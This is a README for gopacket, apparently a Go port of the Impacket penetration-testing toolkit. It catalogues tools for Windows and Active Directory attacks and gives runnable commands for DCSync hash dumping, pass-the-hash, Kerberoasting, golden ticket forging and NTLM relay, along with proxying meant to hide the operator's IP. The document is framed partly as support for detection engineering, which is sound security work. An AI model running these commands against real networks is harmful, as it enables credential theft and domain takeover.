A complete Go port of Impacket - 63 CLI tools and 24 libraries for Windows & Active Directory protocol attacks, compiled to a single dependency-free binary.
By Jacob Paullus (@psycep_)
A complete Go implementation of Impacket - 63 tools and 24 library packages for Windows network protocol interaction, Active Directory enumeration, and attack execution. Built as a native Go framework so you can compile once and run anywhere without Python dependencies.
Beta Release - Highly Experimental. gopacket is under active development. Core tools have been tested against Active Directory lab environments, but edge cases and protocol quirks are expected. If something isn't working, please test the same operation with Impacket side-by-side and include both outputs in your bug report. This helps us quickly identify whether it's a gopacket-specific issue or a shared protocol limitation.
git clone https://github.com/mandiant/gopacket
cd gopacket
# Default: Linux/macOS build + install to /usr/local/bin
./install.sh
# Run with no flags and it prompts you through the choices interactively.
# Or pick a target directly:
./install.sh --target portable # static Linux binaries in ./dist/portable/
./install.sh --target windows # Windows .exe cross-compiles in ./dist/windows/
./install.sh --target all # build every target in one run
# Build without installing (native only)
./install.sh --build-only
# Or build with make
make build
The default (--target native) build needs Go 1.24.13+, GCC, and libpcap
development headers (apt install build-essential libpcap-dev on
Debian/Ubuntu/Kali, yum install gcc libpcap-devel on RHEL/CentOS, or
brew install libpcap on macOS). The portable and windows targets only
need the Go toolchain; sniff and split become stubs in those builds
because they require libpcap. See Platform Support for
the full matrix.
gopacket builds on Linux, macOS, and Windows. The set of working tools and available proxying paths depends on the build flags:
| Build | Tools available | Proxying |
|---|---|---|
| Linux / macOS with cgo (default) | All 63 | proxychains (LD_PRELOAD) and/or -proxy SOCKS5 |
Linux with CGO_ENABLED=0 | 61 (sniff, split become stubs) | -proxy only (proxychains needs the libc hook) |
Windows (GOOS=windows CGO_ENABLED=0) | 60 (sniff, split, sniffer stubs) | -proxy only (no LD_PRELOAD on Windows) |
sniff and split depend on libpcap via cgo; sniffer depends on Unix raw
sockets. When a tool can't be built for the target, gopacket substitutes a
stub that prints a clear message and exits 1, so go build ./... always
succeeds and the install layout is consistent across platforms.
To uninstall:
./install.sh --uninstall
gopacket supports two independent proxying paths. They can also be chained.
All gopacket tools work through proxychains. Go binaries normally bypass proxychains because Go's runtime handles DNS and networking internally, skipping the LD_PRELOAD hooks that proxychains relies on. gopacket works around this by linking against the system C library for network operations, allowing proxychains to intercept connections normally.
proxychains gopacket-secretsdump 'domain/user:password@target'
proxychains gopacket-smbclient -k -no-pass 'domain/[email protected]'
-proxy)Every tool accepts -proxy to route outbound TCP through a SOCKS5 server without relying on LD_PRELOAD. Accepted schemes: socks5 and socks5h. When -proxy is unset, the ALL_PROXY / all_proxy environment variables are consulted as a fallback.
gopacket-secretsdump -proxy socks5h://127.0.0.1:1080 'domain/user:password@target'
ALL_PROXY=socks5h://127.0.0.1:1080 gopacket-smbclient 'domain/user:password@target'
UDP-dependent features are disabled under -proxy rather than silently leaking packets (SOCKS5 UDP ASSOCIATE is rarely supported by proxies, and bypassing the proxy for UDP would reveal the operator's real source IP). Affected features and their workarounds are documented in KNOWN_ISSUES.md.
Chaining: -proxy is compatible with proxychains. The TCP connection to the SOCKS5 proxy itself still goes through libc connect(), so proxychains → gopacket → -proxy → target works for nested routing scenarios.
See the Library Developer Guide for full API documentation, code examples, and architecture overview for building custom tools on top of gopacket's 24 protocol packages.
| Tool | Description |
|---|---|
| psexec | Remote command execution via SMB service creation |
| smbexec | Remote command execution via SMB (stealthier than psexec) |
| wmiexec | Remote command execution via WMI |
| dcomexec | Remote command execution via DCOM |
| atexec | Remote command execution via Task Scheduler |
| Tool | Description |
|---|---|
| secretsdump | SAM/LSA/NTDS.dit extraction and DCSync (remote + offline) |
| dpapi | DPAPI backup key extraction |
| esentutl | Offline ESE database parser (NTDS.dit) |
| registry-read | Offline Windows registry hive parser |
| Tool | Description |
|---|---|
| getTGT | Request a TGT with password, hash, or AES key |
| getST | Request a service ticket with S4U2Self/S4U2Proxy |
| GetUserSPNs | Kerberoasting - find and request SPNs |
| GetNPUsers | AS-REP roasting - find accounts without pre-auth |
| ticketer | Golden/silver ticket forging |
| ticketConverter | Convert between ccache and kirbi formats |
| describeTicket | Parse and decrypt Kerberos tickets |
| getPac | Request and parse PAC information |
| keylistattack | KERB-KEY-LIST-REQ attack (RODC) |
| raiseChild | Child-to-parent domain escalation via golden ticket |
| Tool | Description |
|---|---|
| GetADUsers | Enumerate domain users via LDAP |
| GetADComputers | Enumerate domain computers via LDAP |
| GetLAPSPassword | Read LAPS passwords via LDAP |
| findDelegation | Find delegation configurations |
| lookupsid | SID brute-forcing via LSARPC |
| samrdump | Enumerate users via SAMR |
| rpcdump | Dump RPC endpoints via epmapper |
| rpcmap | Scan for accessible RPC interfaces |
| net | net user/group/computer enumeration via SAMR/LSARPC |
| netview | Enumerate sessions, shares, and logged-on users |
| CheckLDAPStatus | Check LDAP signing and channel binding requirements |
| DumpNTLMInfo | Dump NTLM authentication info from SMB negotiation |
| getArch | Detect remote OS architecture via RPC |
| machine_role | Detect machine role (DC, server, workstation) |
| Tool | Description |
|---|---|
| addcomputer | Create/modify/delete machine accounts (SAMR + LDAP) |
| rbcd | Resource-Based Constrained Delegation manipulation |
| dacledit | Read/write DACLs on AD objects |
| owneredit | Read/modify object ownership |
| samedit | SAM account name spoofing (CVE-2021-42278/42287) |
| badsuccessor | BadSuccessor / backup operator escalation |
| changepasswd | Change/reset passwords via SAMR and LDAP |
| Tool | Description |
|---|---|
| smbclient | Interactive SMB client (shares, ls, get, put, etc.) |
| smbserver | SMB server for file sharing |
| attrib | Query/modify file attributes via SMB |
| filetime | Query/modify file timestamps via SMB |
| services | Remote service management via SVCCTL |
| reg | Remote registry operations via WINREG |
| Get-GPPPassword | Extract Group Policy Preferences passwords from SYSVOL |
| karmaSMB | Rogue SMB server for hash capture |
| Tool | Description |
|---|---|
| ntlmrelayx | Full NTLM relay framework with multi-protocol support |
ntlmrelayx supports:
| Tool | Description |
|---|---|
| mssqlclient | Interactive MSSQL client with SQL/Windows/Kerberos auth |
| mssqlinstance | MSSQL instance discovery via SQL Browser |
| Tool | Description |
|---|---|
| wmiquery | Interactive WMI query shell |
| wmipersist | WMI event subscription persistence |
| Tool | Description |
|---|---|
| tstool | Terminal Services session and process enumeration |
| Tool | Description |
|---|---|
| rdp_check | RDP authentication check |
| mqtt_check | MQTT authentication check |
| exchanger | Exchange Web Services client |
| Tool | Description |
|---|---|
| ntfs-read | Offline NTFS filesystem parser |
| ping / ping6 | ICMP ping |
| sniff / sniffer | Network packet capture |
| split | Split large files |
All network tools support three authentication methods:
# Password
gopacket-secretsdump 'domain/user:password@target'
# NTLM hash (pass-the-hash)
gopacket-secretsdump -hashes ':nthash' 'domain/user@target'
# Kerberos (pass-the-ticket)
KRB5CCNAME=ticket.ccache gopacket-secretsdump -k -no-pass 'domain/user@target'
| Flag | Description |
|---|---|
-hashes LMHASH:NTHASH | NTLM hash authentication (LM hash can be empty) |
-k | Use Kerberos authentication |
-no-pass | Don't prompt for password (use with -k or -hashes) |
-dc-ip IP | IP address of the domain controller |
-target-ip IP | IP address of the target (when using hostname for Kerberos) |
-port PORT | Target port (defaults vary by tool) |
-proxy URL | Route outbound TCP through a SOCKS5 proxy (e.g. socks5h://127.0.0.1:1080). UDP features are disabled. |
-debug | Enable debug output |
# Dump domain hashes via DCSync
gopacket-secretsdump 'corp.local/admin:[email protected]'
# Interactive SMB shell
gopacket-smbclient -hashes ':aabbccdd...' 'corp.local/admin@fileserver'
# Kerberoast
gopacket-getuserspns 'corp.local/user:[email protected]'
# Golden ticket
gopacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain corp.local admin
# NTLM relay with SOCKS proxy
sudo gopacket-ntlmrelayx -t smb://target -socks
# LDAP relay for RBCD
sudo gopacket-ntlmrelayx -t ldaps://dc01.corp.local --delegate-access
# Route all outbound traffic through a SOCKS5 proxy
gopacket-secretsdump -proxy socks5h://127.0.0.1:1080 'corp.local/admin:[email protected]'
The pkg/ directory contains 24 reusable protocol packages that can be imported independently.
| Package | Description |
|---|---|
| smb | SMB2/3 client with NTLM and Kerberos auth |
| ldap | LDAP client with NTLM/Kerberos bind |
| dcerpc | DCE/RPC client + 20 service implementations (DRSUAPI, SAMR, SVCCTL, LSARPC, WINREG, NETLOGON, DCOM, TSCH, EPMAPPER, etc.) |
| kerberos | Kerberos client, ticket forging (golden/silver), S4U2Self/S4U2Proxy |
| ntlm | NTLM authentication protocol |
| relay | NTLM relay framework (servers, clients, attacks, SOCKS) |
| tds | SQL Server TDS protocol |
| ese | Extensible Storage Engine parser |
| registry | Windows registry hive parser |
| ntfs | NTFS filesystem parser |
| security | Security descriptors, ACLs, SIDs |
| dpapi | DPAPI structures |
| mqtt | MQTT protocol client |
| session | Target/credential parsing (domain/user:pass@host) |
| flags | Unified CLI flag framework |
gopacket aims for full Impacket parity. The following are not yet implemented:
Relay protocol clients:
Relay attack modules:
Standalone tools:
ifmap.py (DCOM interface mapping)mimikatz.py (limited Mimikatz over RPC)goldenPac.py (MS14-068 - obsolete on patched systems)smbrelayx.py (superseded by ntlmrelayx)kintercept.py (Kerberos interception)These gaps are low priority - most require niche infrastructure to test or are obsoleted by newer techniques.
These are protocol-level limitations shared with Impacket, not gopacket bugs:
See KNOWN_ISSUES.md for detailed information on each issue and workarounds.
This is a beta release. Bugs are expected, and contributions are welcome.
Because gopacket implements the same wire protocols as Impacket, a large fraction of "bugs" turn out to be environmental, not gopacket-specific - patched DCs, LDAP signing requirements, EPA, PKT_INTEGRITY, SMB signing, NTLM MIC validation post-CVE-2019-1040, missing SPNs, time skew, DNS quirks, firewall rules, and so on. Running the same operation with Impacket side by side removes the environment from the equation:
This single triage step saves a lot of round-trips, so please don't skip it.
-debug and capture the full outputcorp.internal → example.local
and dc01.corp.internal → dc01.example.local is fine - keep the
structure of the data, just not the identifying values. If in doubt,
redact it.Open a GitHub issue describing the use case and the Impacket equivalent (if any). If the feature is on the "Missing Features" list above, mention which one - it helps us prioritize.
PRs are welcome. Before opening one:
go build ./..., go vet ./..., gofmt -l ., and go test ./...
and make sure they all pass cleanlyThreat actors are moving away from Python. Compiled Go and Rust tooling (Sliver, BRC4, Geacon, and bespoke loaders) is increasingly replacing Impacket in real-world intrusions. Most defensive tooling and detection logic was built around Impacket's Python-based network behavior, and that coverage is eroding as the attacker ecosystem shifts to compiled languages.
gopacket exists in part to help the security community get ahead of this shift. By providing an open-source, readable Go implementation of the same protocols and techniques, defenders and detection engineers can:
The gap between attacker tooling and defender visibility is widest when new tooling stays private. Open-sourcing gopacket narrows that gap.
KRB5CCNAME is not set, tools will look for <username>.ccache in the current directory-proxy SOCKS5 flag (see Proxy Support)Released under the Apache License 2.0.